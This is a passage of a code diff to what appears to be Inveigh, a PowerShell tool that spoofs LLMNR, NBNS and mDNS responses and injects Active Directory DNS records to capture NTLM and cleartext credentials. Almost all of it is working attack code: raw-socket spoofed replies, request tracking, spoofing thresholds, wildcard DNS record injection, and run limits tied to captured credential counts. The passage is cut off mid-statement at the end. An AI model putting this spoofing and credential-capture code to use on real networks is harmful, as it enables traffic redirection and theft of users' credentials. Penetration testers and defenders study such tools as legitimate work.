-                                        {
-                                            $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString
-                                            $inveigh.request_table_updated = $true
-                                        }
-
-                                    }
-
-                                }
-                            
                             }
                             elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
                             {
@@ -3617,7 +3714,7 @@ $sniffer_scriptblock =
                                 if($inveigh.valid_host_list -notcontains $NBNS_query_string)
                                 {
                                     $inveigh.valid_host_list.Add($NBNS_query_string) > $null
-                                    $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [$NBNS_query_string added to valid host list]") > $null
+                                    $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [added to valid host list]") > $null
                                 }
 
                             }
@@ -3661,13 +3758,13 @@ $sniffer_scriptblock =
                                     $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp )
                                     $send_socket.SendBufferSize = 1024
                                     $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
-                                    $send_socket.SendTo($mDNS_response_packet,$destination_point)
+                                    $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null
                                     $send_socket.Close()
-                                    $mDNS_response_message = "[Response Sent]"
+                                    $mDNS_response_message = "[response sent]"
                                 }
                                 else
                                 {
-                                    $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QU"
+                                    $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string  -Type "mDNS" -mDNSType "QU"
                                     $mDNS_response_type = $mDNS_response_message[0]
                                     $mDNS_response_message = $mDNS_response_message[1]
                                 }
@@ -3707,23 +3804,23 @@ $sniffer_scriptblock =
                                 !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
                                 $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM'))
                                 {
-                                    $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp )
+                                    $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
                                     $send_socket.SendBufferSize = 1024
                                     $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353)
-                                    $send_socket.SendTo($mDNS_response_packet,$destination_point)
+                                    $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null
                                     $send_socket.Close()
-                                    $mDNS_response_message = "[Response Sent]"
+                                    $mDNS_response_message = "[response sent]"
                                 }
                                 else
                                 {
-                                    $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QM"
+                                    $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string  -Type "mDNS" -mDNSType "QM"
                                     $mDNS_response_type = $mDNS_response_message[0]
                                     $mDNS_response_message = $mDNS_response_message[1]
                                 }
                             
                             }
 
-                            $inveigh.output_queue.Add("$($mDNS_response_message[0]) [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $($mDNS_response_message[1])") > $null
+                            $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null
                         }
                         
                     }
@@ -3750,18 +3847,17 @@ $sniffer_scriptblock =
                                                         0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 +
                                                         $LLMNR_response_data
                 
-                            $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)])
-                            $LLMNR_query = $LLMNR_query -replace "-00",""
+                            $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0",""
 
-                            if($LLMNR_query.Length -eq 2)
+                            if(!$inveigh.request_table.ContainsKey($LLMNR_query_string))
                             {
-                                $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16)
-                                $LLMNR_query_string = New-Object System.String($LLMNR_query)
+                                $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
+                                $inveigh.request_table_updated = $true
                             }
                             else
                             {
-                                $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                                $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length)
+                                $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString
+                                $inveigh.request_table_updated = $true
                             }
 
                             $LLMNR_request_ignore = $false
@@ -3791,7 +3887,7 @@ $sniffer_scriptblock =
                                     {           
                                         $LLMNR_learning_send = $true
                                     }
-
+                                    
                                     if($LLMNR_learning_send)
                                     {
                                         $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
@@ -3820,17 +3916,18 @@ $sniffer_scriptblock =
                                 !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (
                                 !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and (
                                 $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and (
-                                $Evade -and $destination_IP.IPAddressToString -ne $IP))
+                                $EvadeRG -and $destination_IP.IPAddressToString -ne $IP) -and @($inveigh.request_table.$LLMNR_query_string | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -gt $SpooferThresholdHost -and @(
+                                $inveigh.request_table.$LLMNR_query_string | Sort-Object | Get-Unique).Count -gt $SpooferThresholdNetwork)
                                 {
 
                                     if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
                                     {
-                                        $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp )
+                                        $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
                                         $LLMNR_send_socket.SendBufferSize = 1024
                                         $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) 
-                                        $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point)
+                                        $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) > $null
                                         $LLMNR_send_socket.Close()
-                                        $LLMNR_response_message = "[Response Sent]"
+                                        $LLMNR_response_message = "[response sent]"
                                     }
                                     else
                                     {
@@ -3840,38 +3937,16 @@ $sniffer_scriptblock =
                                 }
                                 else
                                 {
-                                    $LLMNR_response_message = SpooferResponseMessage -query_string $LLMNR_query_string -mDNS_type ""
+                                    $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR"
                                     $LLMNR_response_type = $LLMNR_response_message[0]
                                     $LLMNR_response_message = $LLMNR_response_message[1]
                                 }
                             
                             }
-
+                           
                             if(!$LLMNR_request_ignore)
                             {
                                 $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null
-                            
-                                if($inveigh.ADIDNS -eq 'Combo')
-                                {
-                                
-                                    if(!$inveigh.request_table.ContainsKey($LLMNR_query_string))
-                                    {
-                                        $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
-                                        $inveigh.request_table_updated = $true
-                                    }
-                                    else
-                                    {
-
-                                        if($inveigh.request_table.$LLMNR_query_string -NotContains $source_IP.IPAddressToString)
-                                        {
-                                            $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString
-                                            $inveigh.request_table_updated = $true
-                                        }
-
-                                    }
-
-                                }
-
                             }
 
                         }
@@ -3888,20 +3963,7 @@ $sniffer_scriptblock =
                     
                         if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
                         {
-                            $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)])
-                            $LLMNR_query = $LLMNR_query -replace "-00",""
-
-                            if($LLMNR_query.Length -eq 2)
-                            {
-                                $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16)
-                                $LLMNR_query_string = New-Object System.String($LLMNR_query)
-                            }
-                            else
-                            {
-                                $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                                $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length)
-                            }
-                            
+                            $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0",""
                             [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)]
                             $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes
                             $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString
@@ -3909,7 +3971,7 @@ $sniffer_scriptblock =
                             if($inveigh.valid_host_list -notcontains $LLMNR_query_string)
                             {
                                 $inveigh.valid_host_list.Add($LLMNR_query_string) > $null
-                                $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [$LLMNR_query_string added to valid host list]") > $null
+                                $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [added to valid host list]") > $null
                             }
                             
                         }
@@ -3981,9 +4043,20 @@ $LLMNR_spoofer_scriptblock =
                                      ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
         
             $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)])     
-            $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString
+            $source_IP = $LLMNR_listener_endpoint.Address
             $LLMNR_response_type = "[+]"
 
+            if(!$inveigh.request_table.ContainsKey($LLMNR_query_string))
+            {
+                $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
+                $inveigh.request_table_updated = $true
+            }
+            else
+            {
+                $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString
+                $inveigh.request_table_updated = $true
+            }
+
             if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (
             !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
             $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP))
@@ -3996,41 +4069,19 @@ $LLMNR_spoofer_scriptblock =
                 $LLMNR_multicast_group = [IPAddress]"224.0.0.252"
                 $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group)
                 $LLMNR_UDP_client.Client.ReceiveTimeout = 5000
-                $LLMNR_response_message = "[Response Sent]"
+                $LLMNR_response_message = "[response sent]"
             }
             else
             {
-                $LLMNR_response_message = SpooferResponseMessage -query_string $LLMNR_query_string -mDNS_type ""              
+                $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR"
             }
         
-            if($LLMNR_request_data)                   
+            if($LLMNR_request_data)
             {
                 $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null
-
-                if($inveigh.ADIDNS -eq 'Combo')
-                {
-
-                    if(!$inveigh.request_table.ContainsKey($LLMNR_query_string))
-                    {
-                        $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
-                        $inveigh.request_table_updated = $true
-                    }
-                    else
-                    {
-
-                        if($inveigh.request_table.$LLMNR_query_string -NotContains $source_IP.IPAddressToString)
-                        {
-                            $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString
-                            $inveigh.request_table_updated = $true
-                        }
-
-                    }
-
-                }
-
             }
 
-            $LLMNR_request_data = ""
+            $LLMNR_request_data = $null
         }
 
     }
@@ -4090,7 +4141,7 @@ $mDNS_spoofer_scriptblock =
                         
             $mDNS_query_string = Convert-DataToString 13 $mDNS_request_data[12] $mDNS_request_data
             $mDNS_query_string_full = $mDNS_query_string + ".local"   
-            $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString
+            $source_IP = $mDNS_listener_endpoint.Address
             $mDNS_response_type = "[+]"
 
             if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (
@@ -4105,21 +4156,21 @@ $mDNS_spoofer_scriptblock =
                 $mDNS_multicast_group = [IPAddress]"224.0.0.251"
                 $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group)
                 $mDNS_UDP_client.Client.ReceiveTimeout = 5000
-                $mDNS_response_message = "[Response Sent]"
+                $mDNS_response_message = "[response sent]"
             }
             else
             {
-                $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QU"
+                $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string  -Type "mDNS" -mDNSType "QU"
                 $mDNS_response_type = $mDNS_response_message[0]
-                $mDNS_response_message = $mDNS_response_message[1]             
+                $mDNS_response_message = $mDNS_response_message[1]
             }
         
-            if($mDNS_request_data)                   
+            if($mDNS_request_data)
             {
                 $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $LLMNR_response_message") > $null
             }
 
-            $mDNS_request_data = ""
+            $mDNS_request_data = $null
         }
         elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*')
         {
@@ -4134,7 +4185,7 @@ $mDNS_spoofer_scriptblock =
                         
             $mDNS_query_string = Convert-DataToString 13 $mDNS_request_data[12] $mDNS_request_data
             $mDNS_query_string_full = $mDNS_query_string + ".local"   
-            $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString
+            $source_IP = $mDNS_listener_endpoint.Address
             $mDNS_response_type = "[+]"
                 
             if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (
@@ -4149,11 +4200,11 @@ $mDNS_spoofer_scriptblock =
                 $mDNS_multicast_group = [IPAddress]"224.0.0.251"
                 $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group)
                 $mDNS_UDP_client.Client.ReceiveTimeout = 5000
-                $mDNS_response_message = "[Response Sent]"
+                $mDNS_response_message = "[response sent]"
             }
             else
             {
-                $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QM"
+                $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string  -Type "mDNS" -mDNSType "QM"
                 $mDNS_response_type = $mDNS_response_message[0]
                 $mDNS_response_message = $mDNS_response_message[1]
             }
@@ -4163,7 +4214,7 @@ $mDNS_spoofer_scriptblock =
                 $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null
             }
 
-            $mDNS_request_data = ""
+            $mDNS_request_data = $null
         }
 
     }
@@ -4174,7 +4225,8 @@ $mDNS_spoofer_scriptblock =
 # Unprivileged NBNS Spoofer ScriptBlock
 $NBNS_spoofer_scriptblock = 
 {
-    param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL)
+    param ($Inspect,$IP,$NBNS_response_message,$NBNSNonprintable,$NBNSTTL,$NBNSTypes,$SpooferIP,$SpooferHostsIgnore,$SpooferHostsReply,
+        $SpooferIPsIgnore,$SpooferIPsReply)
 
     $NBNS_running = $true
     $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137)
@@ -4207,8 +4259,6 @@ $NBNS_spoofer_scriptblock =
             $NBNS_UDP_client.Client.ReceiveTimeout = 5000
         }
 
-        $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
-
         if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01')
         {
             $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
@@ -4222,57 +4272,17 @@ $NBNS_spoofer_scriptblock =
                                     ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
                                     0x00,0x00,0x00,0x00
 
-            $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString
+            $source_IP = $NBNS_listener_endpoint.Address
             $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44])
+            $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type
             $NBNS_response_type = "[+]"
-                    
-            switch ($NBNS_query_type)
-            {
-
-                '41-41'
-                {
-                    $NBNS_query_type = "00"
-                }
-
-                '41-44'
-                {
-                    $NBNS_query_type = "03"
-                }
-
-                '43-41'
-                {
-                    $NBNS_query_type = "20"
-                }
-
-                '42-4C'
-                {
-                    $NBNS_query_type = "1B"
-                }
-
-                '42-4D'
-                {
-                    $NBNS_query_type = "1C"
-                }
-
-                '42-4E'
-                {
-                    $NBNS_query_type = "1D"
-                }
-
-                '42-4F'
-                {
-                    $NBNS_query_type = "1E"
-                }
-
-            }
-
             $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)])
             $NBNS_query = $NBNS_query -replace "-00",""
             $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
             $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
             $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
-            $NBNS_query_string_subtracted = ""
-            $NBNS_query_string = ""
+            $NBNS_query_string_subtracted = $null
+            $NBNS_query_string = $null
             $n = 0
                             
             do
@@ -4281,7 +4291,7 @@ $NBNS_spoofer_scriptblock =
                 $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
                 $n += 1
             }
-            until($n -gt ($NBNS_query_string_encoded.Length - 1))
+            until($n -ge ($NBNS_query_string_encoded.Length))
                     
             $n = 0
                     
@@ -4290,8 +4300,24 @@ $NBNS_spoofer_scriptblock =
                 $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
                 $n += 2
             }
-            until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
-                                 
+            until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15)
+
+            if($NBNS_query_string -notmatch '[^\x00-\x7F]+')
+            {
+
+                if(!$inveigh.request_table.ContainsKey($NBNS_query_string))
+                {
+                    $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
+                    $inveigh.request_table_updated = $true
+                }
+                else
+                {
+                    $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString
+                    $inveigh.request_table_updated = $true
+                }
+
+            }
+            
             if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (
             !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
             $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP))
@@ -4302,43 +4328,21 @@ $NBNS_spoofer_scriptblock =
                 $NBNS_UDP_client.Close()
                 $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
                 $NBNS_UDP_client.Client.ReceiveTimeout = 5000
-                $NBNS_response_message = "[Response Sent]"
+                $NBNS_response_message = "[response sent]"
             }
             else
             {
-                $NBNS_response_message = SpooferResponseMessage -query_string $NBNS_query_string -mDNS_type ""
+                $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS"
                 $NBNS_response_type = $NBNS_response_message[0]
                 $NBNS_response_message = $NBNS_response_message[1]
             }
 
             if($NBNS_request_data)                   
             {
-                 $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null
-            
-                if($inveigh.ADIDNS -eq 'Combo')
-                {
-
-                    if(!$inveigh.request_table.ContainsKey($NBNS_query_string))
-                    {
-                        $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
-                        $inveigh.request_table_updated = $true
-                    }
-                    else
-                    {
-
-                        if($inveigh.request_table.$NBNS_query_string -NotContains $source_IP.IPAddressToString)
-                        {
-                            $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString
-                            $inveigh.request_table_updated = $true
-                        }
-
-                    }
-
-                }
-            
+                 $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null    
             }
 
-            $NBNS_request_data = ""
+            $NBNS_request_data = $null
         }
 
     }
@@ -4349,7 +4353,7 @@ $NBNS_spoofer_scriptblock =
 # NBNS BruteForce ScriptBlock
 $NBNS_bruteforce_spoofer_scriptblock = 
 {
-    param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL)
+    param ($NBNSBruteForceHost,$NBNSBruteForcePause,$NBNSBruteForceTarget,$NBNSTTL,$SpooferIP)
    
     $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper()
 
@@ -4433,15 +4437,16 @@ $NBNS_bruteforce_spoofer_scriptblock =
 }
 
 # Control Loop ScriptBlock
-$control_scriptblock = 
+$control_scriptblock =
 {
-    param ($ADIDNSCredential,$ADIDNSDomain,$ADIDNSDomainController,$ADIDNSHostsIgnore,$ADIDNSIP,$ADIDNSPartition,
-            $ADIDNSThreshold,$ADIDNSTTL,$ADIDNSZone,$ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime)
+    param ($ADIDNSCleanup,[System.Management.Automation.PSCredential]$ADIDNSCredential,$ADIDNSDomain,
+        $ADIDNSDomainController,$ADIDNSForest,$ADIDNSHostsIgnore,$ADIDNSPartition,$ADIDNSThreshold,$ADIDNSTTL,
+        $ADIDNSZone,$ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime,$SpooferIP)
 
-    function OutputQueueLoop
+    function Invoke-OutputQueueLoop
     {
 
-        while($inveigh.output_queue.Count -gt 0 -and !$inveigh.output_pause)
+        while($inveigh.output_queue.Count -gt 0)
         {
             $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null
 
@@ -4487,7 +4492,7 @@ $control_scriptblock =
 
         }
 
-        if($inveigh.ADIDNS -eq 'Wildcard')
+        if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS -eq 'Wildcard')
         {
 
             try
@@ -4503,19 +4508,19 @@ $control_scriptblock =
             
         }
 
-        if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.DNS_table.Count -gt 0)
+        if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS -eq 'Combo' -and $inveigh.ADIDNS_table.Count -gt 0)
         {
 
-            foreach($DNS_host in $inveigh.DNS_table.Keys)
+            foreach($DNS_host in $inveigh.ADIDNS_table.Keys)
             {
  
-                if($inveigh.DNS_table.$DNS_host -eq 1)
+                if($inveigh.ADIDNS_table.$DNS_host -eq 1)
                 {
 
                     try
                     {
                         Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $DNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone
-                        $inveigh.DNS_table.$DNS_host = ""
+                        $inveigh.ADIDNS_table.$DNS_host = $null
                     }
                     catch
                     {
@@ -4533,21 +4538,29 @@ $control_scriptblock =
         
         if($inveigh.relay_running)
         {
-            Start-Sleep -S 1
+            Start-Sleep -m 100
 
             if($Message)
             {
                 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null
             }
+            else
+            {
+                $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null  
+            }
+
+            if(!$inveigh.running)
+            {
+                Invoke-OutputQueueLoop
+                Start-Sleep -m 100
+            }
 
-            OutputQueueLoop
-            Start-Sleep -S 1
             $inveigh.relay_running = $false
         }
 
         if($inveigh.running)
         {
-            Start-Sleep -S 1
+            Start-Sleep -m 100
 
             if($Message)
             {
@@ -4558,8 +4571,8 @@ $control_scriptblock =
                 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null  
             }
 
-            OutputQueueLoop
-            Start-Sleep -S 1
+            Invoke-OutputQueueLoop
+            Start-Sleep -m 100
             $inveigh.running = $false
         }
 
@@ -4568,7 +4581,7 @@ $control_scriptblock =
 
     if($inveigh.ADIDNS -eq 'Wildcard')
     {
-        Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $ADIDNSIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node '*' -Partition $ADIDNSPartition -TTL $ADIDNSTTL -Zone $ADIDNSZone
+        Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node '*' -Partition $ADIDNSPartition -TTL $ADIDNSTTL -Zone $ADIDNSZone
     }
 
     if($NBNSBruteForcePause)
@@ -4604,7 +4617,7 @@ $control_scriptblock =
             
             if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)
             {
-                Stop-InveighRunspace "run count"           
+                Stop-InveighRunspace "reaching run count"           
             }
 
         }
@@ -4614,7 +4627,7 @@ $control_scriptblock =
 
             if($control_stopwatch.Elapsed -ge $control_timeout)
             {
-                Stop-InveighRunspace "run time"
+                Stop-InveighRunspace "reaching run time"
             }
 
         }
@@ -4624,7 +4637,7 @@ $control_scriptblock =
             
             try
             {
-                Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $ADIDNSIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh.request_table -Threshold $ADIDNSThreshold -TTL $ADIDNSTTL -Zone $ADIDNSZone
+                Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh.request_table -Threshold $ADIDNSThreshold -TTL $ADIDNSTTL -Zone $ADIDNSZone
             }
             catch
             {
@@ -4681,13 +4694,18 @@ $control_scriptblock =
 
         }
 
-        OutputQueueLoop
+        if(!$inveigh.status_output)
+        {
+            Invoke-OutputQueueLoop
+        }
+
         Start-Sleep -m 5
         
         if($inveigh.stop)
         {
             $inveigh.console_queue.Clear()
             Stop-InveighRunspace
+            Start-Sleep -S 1
         }
 
     }
@@ -4711,9 +4729,8 @@ function HTTPListener
     $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument(
         $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument(
         $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument(
-        $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument(
